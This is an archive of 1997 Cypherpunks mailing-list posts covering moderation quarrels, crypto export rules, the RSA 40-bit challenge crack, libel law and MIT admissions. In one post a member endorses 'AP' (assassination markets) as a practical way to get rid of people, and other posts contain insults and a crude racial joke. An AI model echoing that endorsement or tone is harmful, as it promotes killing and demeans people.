> a la Jim B. If the list won't moderate itself to "guide" the Dale's,
> it DESERVES to be moderated.  He's gotta be trolling to keep it hard.

Well, I don't know who you are, so (despite your remarks) I can't
really tell what your question is.  I suppose if we sat down with a
human moderator and a copy of Applied Cryptography, you'd know the
XOR's and S-boxes and whatnot better than I.  That's why we need
people like you on this list, especially the moderated list, since
you know the conventional (academic) crypto really well.  To be
honest, I'm after more important things, but hey, keep plugging away
and maybe I'll learn something from you.  Hugs and stuff....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 28 Jan 1997 22:10:45 -0800 (PST)
To: Somebody <nowhere@erewhon.org>
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701290610.WAA20607@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Somebody wrote:
> 
> This morning at the RSA keynote, David Aaron, the US Crypto 
> ambassador quoted the "Sovreign Right of Lawful Access" as
> something that goverments were determined to preserve.

Speaking as a private indiwidual, and not as a drone in the employ
of IBM (don't get me started on the "but wait, key recovery *isn't*
the same as key escrow" hoo-ha), that dude scared the piss out of
me.

As an IBM employee worried about commercial this-n-that, he was
merely depressing.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Tue, 28 Jan 1997 22:25:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701290625.WAA20851@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:

>Lucky you.  It had been a dream of mine since I was an annoying
>overachiever of 6.  Sux to be white trash, I guess.

Wrong! White-americans play a very important and useful role in the new
multi-cultural society. Sheesh! _Someone's_ got to work, support their
families, pay taxes, and obey the law. Hee hee! Him so stoopit!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:55:53 -0800 (PST)
To: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Subject: Re: [noise] RE: Shave the Whales
Message-ID: <199701290655.WAA21747@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mullen, Patrick wrote:
> Is there a way we can keep the caricatures w/out getting the rest of the
> message
> w/ these postings?  I like the ASCII art, but...

I've just started clipping and saving the characters w/o the text
that accompanies them.  I've got a dozen so far, so check back in
a week or so and I'll forward a set to anyone who wants.  Unless,
of course, someone has a bucket of them now.

BTW, some of the recent ones are pretty amazing: a bat, a scorpion,
a cow, etc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 22:55:48 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701290655.WAA21731@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> >January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student,
> >announced today that he had successfully cracked RSA Data Security
> >Inc.'s 40-bit challenge cipher in just under 3.5 hours.

  I just ran out of asswipe.
  Does anyone have any RSA Data Security, Inc. stock they'd like to
sell?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: can Sun Tzu be a cypherpunks?
Message-ID: <199701290656.WAA21793@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:
> Quotations from the Art Of War by Sun Tzu
> A Military operation involves deception. Even though you are competent,
> appear to be incompetent. Though effective, appear to be ineffective.
> Draw them in with the prospect of gain, take them  by confusion.
> Use humility to make them haughty. Tire them by flight. Cause division
> among them. Attack when they are  unprepared, make your move when they
> do not expect it.

The all-time master was Rudolph Wanderone (sp?), a.k.a.
Minnesota Fats.  There was an article on him that told how he
cleaned the pool champ in Atlantic City circa 1960.

In later years, he played Mosconi on TV several times, and had
quite a few people convinced he wasn't a very good player, at
least "not as good as" Mosconi.  The movie Color Of Money shows
what this meant, and just how unprepared the public is to believe
that someone like Fats could really be the best.  Kinda like
Tom Wolfe and the pirates thing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl7.crl.com>
Date: Tue, 28 Jan 1997 22:56:17 -0800 (PST)
To: Richard Fiero <rfiero@pophost.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701290656.WAA21794@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 28 Jan 1997, Richard Fiero wrote:

> Get it straight Sandy Sandfort. I'm not in your home. I am in
> my home and I will observe my priorities, not your's.

Silly things happen when one responds literally to an obvious 
metaphor.  (see, "analogy.")

> ...In part I refer to a
> Sandy Sandfort reply to a criticism made by Paul Bradley. The reply was
> made public two hours before the criticism was.

Nonsense.  Richard may have read my response on the Unedited list
and Paul post on the Moderated list, but I sent my response to
each list in the appropriate order, Paul's post, followed by my 
response.  In any event, how would intentionally reversing the 
order have benefited me?  This specious argument makes no sense.  

> In the reply, Sandy Sandfort employs the name-calling "sophist"
> and "hypocrite."

Nope, wrong again.  I referenced sophistry and hypocracy.  I 
leave the significance of the difference as an exercise to the
student.  (Hint: one is an argument to the man, the other isn't.)

> Also in the reply is the Freudian slip or obscene proposition:
> > . . . . . . . . . . . . . . . . . . . .  "Force," my ass. 
> Shouldn't this have gone to cypherpunks-flames?

And wrong yet again.  Not a personal attack but commentary on 
wooly thinking.
 
> One might wonder just what the rules of proper decorum are.

One might read my posts on this point and pay attention.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 28 Jan 1997 22:56:05 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701290656.WAA21785@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


http://now.cs.berkeley.edu/

> Yee-hah!  Congratulations (and enjoy the $1000 check!)
> So what did you do interesting cryptographically in the crack, 
> other than coordinating a bunch of workstations?
> Was it just brute force with well-tuned code?
> Given the figures in your press release, it sounds like you
> tested about 350 billion keys out of a trillion possible,
> so you hit the winner a shade early.  That's about 400,000 keys/sec/box.
> Are the machines mostly Pentiums, Alphas, Suns, etc.?



-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 22:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel & the 1st Amendment
Message-ID: <199701290611.WAA20631@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

It has been asserted by at least one member that the 1st Amendment protects
libelous or other defamatory speech. 

This is hokem. The 1st most certainly does not protect lies in any form. It
protects opinion, this is distinctly different then stating a untruth about
some party or distribution of material with the attributation to them
without their permission.

No civilized society can exist that permits lies and other defamations of
character and expect to survive for any length of time. Simply for no other
reason than contracts and other such instruments would not be worth the
paper they were printed on. Let alone any laws or other issuances from the
government itself.


				ARTICLE I. 
 
	Congress shall make no law respecting an establishment of religion, 
or prohibiting the free exercise thereof; or abridging the freedom of 
speech, or of the press; or the right of the people peaceably to assemble, 
and to petition the Government for a redress of grievances. 
 
 
Where in there do you see a right to lie, cheat, or steal? If it did, it
would be a lie because it would not protect the very freedom it says it is.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobin Fricke <tobin@mail.edm.net>
Date: Tue, 28 Jan 1997 23:26:02 -0800 (PST)
To: Phil Karn <cypherpunks@toad.com
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701290726.XAA22535@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> This seems clear enough. If it's printed on paper, it's kosher for
> export. But if we're really overt about it, we may goad the government
> into attempting to control printed source code as well. That could
> prove most interesting.

Hmmm.. Printing out, say,  PGP as a book where each page is a 2 dimensional
bar code would be rather interesting.  Then again, OCR works pretty well
for normal text.

            A printed book or other printed material setting forth
encryption
	source code is not itself subject to the EAR (see
	Sec. 734.3(b)(2)). However, notwithstanding Sec. 734.3(b)(2),
	encryption source code in electronic form or media (e.g., computer
	diskette or CD ROM) remains subject to the EAR (see
	Sec. 734.3(b)(3)). 

Does a barcode fall under "electronic form or media" or is it "printed
material"?  What about punched cards? (-:

Tobin Fricke






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:57:40 -0800 (PST)
To: OKSAS <oksas@asimov.montclair.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199701290657.WAA21808@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS wrote:
> On Tue, 28 Jan 1997, blanc wrote:
> > From: jim bell

> > I was thinking the reason that most people don't think of applying AP is
> > because they're normal.   It is not the first thought of a normal person to
> > kill another human, just because they've been offended - even severely.  It
> > takes an extraordinary circumstance to motivate one to such destruction,
> > especially if there are a thousand armed troops supporting the object of
> > the attempt.

>         Any normal person has potential to kill,
>         why they don't...?  They have other thoughts
>         and dreams for a better future.

Some people in society are like a bad dream (ok, ok).  Anyway, they
are a lot harder to get rid of than just waking up and going back to
sleep.  But AP offers the first practical solution to this problem.
Get rid of the bad dreams, have good dreams.  What could be better?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 22:27:36 -0800 (PST)
To: m5@vail.tivoli.com
Subject: M.M. / Re: Sovreign Right of Lawful Access
Message-ID: <199701290627.WAA20938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:
> Somebody wrote:
> > This morning at the RSA keynote, David Aaron, the US Crypto
> > ambassador quoted the "Sovreign Right of Lawful Access" as
> > something that goverments were determined to preserve.
> 
> Speaking as a private indiwidual, and not as a drone in the employ
> of IBM (don't get me started on the "but wait, key recovery *isn't*
> the same as key escrow" hoo-ha), that dude scared the piss out of
> me.

  That plinking sound you hear is the sound of NSA's bloodhounds
stamping the phrase, in reverse, on the bottom of their jackboots.
  "Sovreign Right" has that certain ring to it which suggests 
the rhetoric of Dictators who imagine themselves to be Kings.
   "Lawful Access" has that "Of course, we will only use this
'right' against drug dealers.", kind of feel to it.

  Perhaps the student who popped RSA's test balloon could propose 
the "Universal Right to Casual Access."

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 28 Jan 1997 22:26:22 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701290626.WAA20921@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Cc to Dr. John Martin Grubor, Law Systems Institute]

Jim Choate wrote:
> 
> It has been asserted by at least one member that the 1st Amendment protects
> libelous or other defamatory speech. 

[I would appreciate if people with better knowledge of law correct me]

I doubt that anyone made this assertion. What Greg Broiles and Dr.
Grubor asserted was that because of the first amendment, the government
can not initiate an action in a libel case. Which means that libel is
not a crime. There may be some old statutes that declare libel a crime, 
as Greg noted, but they are not enforceable because of the first amendment.

Suits can be brought by private individuals though.

The government, even if it is defamed, cannot sue a private person 
for libel. For example, I can say that Congress regularly molests
small children, and they will not be able to do anything about me.

> This is hokem. The 1st most certainly does not protect lies in any form. It
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> protects opinion, this is distinctly different then stating a untruth about
> some party or distribution of material with the attributation to them
> without their permission.

Not exactly. 

I can lie as much as I want about the government. No one would be
able to prosecute me. These particular lies are protected, contrary
to what you state.

The law does not protect ALL opinions, as well.

> No civilized society can exist that permits lies and other defamations of
> character and expect to survive for any length of time. Simply for no other
> reason than contracts and other such instruments would not be worth the
> paper they were printed on. Let alone any laws or other issuances from the
> government itself.

You are mixing in totally unrelated things, Jim. Enforcement of contracts
has nothing to do with freedom of speech. For example, if you borrow $100
from me and fail to return your debt in time, this is an issue of contract
law and not of free speech.

Contract law is not about speech, it is about promises.

> 				ARTICLE I. 
>  
> 	Congress shall make no law respecting an establishment of religion, 
> or prohibiting the free exercise thereof; or abridging the freedom of 
> speech, or of the press; or the right of the people peaceably to assemble, 
> and to petition the Government for a redress of grievances. 
>  
>  
> Where in there do you see a right to lie, cheat, or steal? If it did, it
> would be a lie because it would not protect the very freedom it says it is.

Do you think that all rights should be found in the first amendment?
What does the right to steal have to do with what we are talking about?

I suggest reading "The Fourth Estate and the Constitution: Freedom
of the Press in America", by Lucas a Powe, Jr.

As for stealing and cheating in contracts, read any textbook on business
law for business students. It is very useful to read this stuff, by the
way.

Not that these books give one a complete picture on law, but they
are very informative.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 22:26:04 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701290626.WAA20899@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul said:
> The list has been disentigrating for some time since the disgusting 
> incident when Dimitri was forcibly unsubscribed from the list. There 

    Bullshit. This list was disentigrating well before that, and Vulis's 
actions were a part of that disentigration.

> > a while."
> 
> So, there would be no intellectual dishonesty in a country claiming 
> to be a free and open society "trying out" fascism for a month or 
> two? - After all it`s a private country just as this is a private 
> list....

    As long as they let people leave at any point in the experiment, 
comment on the experiment, and start their own country if they don't like it. 

> There is a clear trend easily observable on the list whereby certain 
> members postings are censored when their content is of a standard 
> that, if the moderation were objective and based on content alone, 
> would warrant their being sent to the censored list.

     Really? Point to this "trend". I only know of 2 articles, and 
Sandy explained his (IMNTBHO incorrect) reasoning behind that.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 22:25:54 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290625.WAA20876@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phill said:
> That was not all. We had a political Web site established
> during the '92 election. I was in contact with Clinton's people
> when we had fewer than 100 Web sites.
> 
> I am a cyber-revolutionary and the world has bought into
> the chaos of our revolution. I never intended the Web to be a tool
> for confirming the present social order which is manifestly 
> corrupt.

     Which of course is why you were in contact with Billy's boys right?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 28 Jan 1997 22:56:19 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Best Computer School?
Message-ID: <199701290656.WAA21795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


MIT probably has a need-blind admissions policy; they don't care whether or
not you have money. When they admit you, at least.

Let me plug Carnegie Mellon University, which consistently ties with MIT
and one of them California schools for first place in computer science.
It's not quite as hard to get into as MIT, though you do have to deal with
Pittsburgh winters. The town itself is small enough to be friendly, and big
enough to be interesting. Jim Morris, the head of the computer science
department, was my instructor for a data structures class and truly seemed
to care about his students' well-being.

Oh, and I remember we had t-shirts saying: "MIT -- the CMU of Massachusetts."

-Declan


Rick wrote:

>At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
>>This is really exagerating.  You do not need a 4.0, 1600, etc. to be
>>admitted to MIT.  Sure, you need good grades, but a 3.6 average and
>>1350-1400 SAT scores is perfectly adequate to be admitted to MIT.
>
>I disagree and can speak from experience.  I was denied admission to MIT
>even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>was on several academic teams, sang in Chorus, acted and stage managed in
>Drama, and played Tennis.
>
>The only thing I didn't have that the next MIT applicant had was money.  I
>made the mistake of letting them know that I was dirt poor and would need
>full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>Russian front!"
>
>>For what it's worth, I wanted to go to MIT my sophomore year in high
>>school, too
>
>Lucky you.  It had been a dream of mine since I was an annoying
>overachiever of 6.  Sux to be white trash, I guess.
>
>MIT may be a great school, but they tend to be snooty assholes for the most
>part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>assholes", I'm just saying that I've yet to meet one that wasn't.)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
>"He who knows, does not speak.
>He who speaks, does not know."



-------------------------
Washington Correspondent
The Netly News Network
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 29 Jan 1997 07:11:14 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701291511.HAA03669@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:10 PM 1/28/97 -0800, stewarts@ix.netcom.com wrote:
>At 08:31 PM 1/27/97 -0800, Phil Karn wrote:
>>And lacking that, the author can always print it out on paper and
>>physically mail it out of the country; this is specifically allowed by
>>the new Commerce rules as I understand them. And who's to say that the
>>overseas FTP copies weren't scanned from such a paper copy? :-)
>
>At least one PGP site overseas did that - some German university
>scanned in a copy of the MIT Press publication of PGP source.
>The PGP 3.0 Pre-Alpha code is now available, on paper, from PGP Inc.

Do you have an URL to the scanned source?



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 22:42:32 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290642.WAA21277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phill wrote:
> I'm a philosophical anarchist and I don't consider the state to have
> "rights" over its "subjects", nor do I believe in the pure ideology of
> property you do.
> 
> Its worth noting that the origin of property is theft. In the case of the

    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
that _my_ property is the result of ME stealing, and hence what I OWN belongs
to the community IS theft. I work, and as the result of that work something is
created. That something is MINE to do with as I will. If I choose to sell that
work for money, that money is mine. If I trade that money for shoes, those 
shoes are mine. THere is no theft involved.

> controllers of China literally so since they stole most of their "property"
> from the previous rulers.

     They "won" it in combat. The people of china obviously prefered new 
government to the old one, or they would have prevented the takeover. 

> I believe that the relationship between a state and individual is
> a much more complex one than the slavish subjection model
> you propose. In this I am in agreement with practically every
> philosopher since Locke.

     Practically every philosopher since Locke has recieved their education
at a Government or "Elite" sponsored school, and made their livings the same 
way. I'm not claiming conspiracy here, but those that feed at the trough 
aren't going to insult it overmuch.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 29 Jan 1997 01:25:58 -0800 (PST)
To: Vipul Ved Prakash <cypherpunks@toad.com>
Subject: Re: Child Porn
Message-ID: <199701290925.BAA25546@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:48 AM 1/29/97 +0000, Vipul Ved Prakash wrote:
>(Forward)
>*** NY student charged with sending child sex photos over Internet
>
>Nathaniel Levy, a psychology major at New York State University, was
>charged Wednesday with using the Internet to transmit photos of
>infants having sex with adults, the New York state attorney general
>said.

This is hilarious, given the fact that San Francisco State University's psychology department has what probably amounts to the largest collection of child pornography on the planet. Their collection also includes primary sources on any other type of kink you can imagine. And some that no sane person ever could imagine.

[You have to be at least working on a PhD to access the collection.]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 22:25:59 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701290625.WAA20884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, blanc wrote:

> From:	jim bell
> 
> [ on discussing AP on the cpunk list]:
> 
> Because it's on-topic, that's why.  Because it's not merely a list
> concerning METHODS of encryption, it's also about the _reasons_ for using
> encryption, as well as the _effects_ (both small-scale and large-scale) of
> using encryption.
> --
> 
[...] 
> I was thinking the reason that most people don't think of applying AP is 
> because they're normal.   It is not the first thought of a normal person to 
> kill another human, just because they've been offended - even severely.  It 
> takes an extraordinary circumstance to motivate one to such destruction, 
> especially if there are a thousand armed troops supporting the object of 
> the attempt.
>
	Any normal person has potential to kill, 
	why they don't...?  They have other thoughts 
	and dreams for a better future.

oksas






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 28 Jan 1997 22:58:00 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199701290658.WAA21810@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


can any kind soul tell me, what are the SAT scores needed to be in the top
10%, top 1%, and top 0.1% of all the students who take these tests?

thank you

igor

Anonymous wrote:
> 
> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 22:27:58 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <199701290627.WAA20943@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


One point I had forgotten. The demonstration took place
on the 50th anniversary of Kristallnacht. This is one explanation
as to why the border guards did not attempt to open fire with
firearms or attempt to break up the demonstration with tear gas.

Also consider that the Tiennamen square massacre had occurred
only a few months before and it did not appear to have settled
the issue of who controlled china. Many of the dissidents were still
at large, China was a pariah nation. East Germany had recently been
visited by Gorbachev who did not appear ready to help keep the
regime if things got sticky.

The mass defections were taking place at their peak at a rate of
tens of thousands in a day. Something like a quarter of the youth
between 18 and 25 had defected. Bill if anything understates this point.

Certainly if the people decide that the structures of state are
not worth supporting change can be astonishing. 

I think that the spending into bankrupcy thesis might be argued for
the case of the USSR and more plausibly the US. The problem is that
I don't think that the military spending in either case bore any
relation to need, to the threat from the other side or to any
rational determination. I think both budgets simply increased to
the limit that the economies could support and beyond. 

There is a similar problem in the third world today. Many third world
countries spend more on arms than they do on health or education.
Much of the alledged "foreign aid" is in fact subsidies for this 
trade. The arms are primarily to suppress internal dissent. There
are plenty of governments left in need of similar reform.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 29 Jan 1997 01:26:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More Circumventing the ITAR
Message-ID: <199701290926.BAA25555@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark Rosen wrote:
> 
>         I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for
> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?
> It's not all that much different from what MIT has up for PGP.

	What you need to do to provide FTP access to crypto
software is spelled out in the EAR regulations. Here is a
summary. I am not a lawyer.

1) Users (downloaders) should be asked to answer some
questions to indicate that:

	They are aware of the crypto export regulations.
	They and their computers are in the US/Canada.
	They intend to follow the the crypto export regulations
		and not export the software they download.
	They are US persons as defined in the EAR regulations.

2) The server should check that the client site requesting the
download is in the US or Canada.

In other words, just displaying a warning is not enough.

>         Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

	I wouldn't try to circumvent the regulations by trying
to follow the letter of the law while ignoring its spirit. You
don't have to be convicted of a crime to make life a lot difficult.
Ask Phil Zimmerman, who never even uploaded pgp to the Internet.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 22:40:48 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290640.WAA21236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > I am a cyber-revolutionary and the world has bought into
> > the chaos of our revolution. I never intended the Web to be a tool
> > for confirming the present social order which is manifestly 
> > corrupt.
> 
>      Which of course is why you were in contact with Billy's boys right?

We did consider very early on the idea of proceedings of congress
annotated with the campaign contributions of the various speakers.

Imagine if instead of Newt Gingrich you saw Newt Gingrich ($243,493
Tobbacco Industry) as a speaker note.

We were in contact with the Clinton folks because the Bush guys
ignored the Web and the Internet completely. They just were
not interested. Nor were the Perot folks either - odd since the
electronic townhall was a big part of their platform. Even in 
this campaign the Perot page could not be read with Netscape 6 months
before the election.

On the other hand have a look at www.buchanan.org If you thought that
Pat got a bum rap off the press when they called him a neo-Nazi
just take a look at his site. Buchanan Brigade? Look at the
choice of topics for the speaches. 

	Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mjw@VNET.IBM.COM
Date: Tue, 28 Jan 1997 22:55:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Altavista
Message-ID: <199701290655.WAA21750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:    Mark Waddington
Subject: Altavista

> However, the doubleclick.net ads appear to bear no relationship to the
> keywords being searched...

Interestingly, I've just noticed over the last couple of days that the in-line
ads are directly relevant to the search words I enter. I did a search yesterday
on "Quicken" and "security" and all the in-line ads I was shown referred to
security or penetration detection products.

Mark Waddington
Interactive Financial Services         | Phone : +61-3-96266574
Business Development Manager           | Mobile: +61-412-217316
IBM Asia Pacific                       | Fax   : +61-3-96266273





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 01:26:04 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel/slander & crypto relevancy (fwd)
Message-ID: <199701290926.BAA25563@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM 1/28/97 -0600, Jim Choate:
>> From: Greg Broiles <gbroiles@netbox.com>
>> Civil actions against people doing "graffiti" are only interesting where
>> the defendant has assets worth suing for. This economic dimension
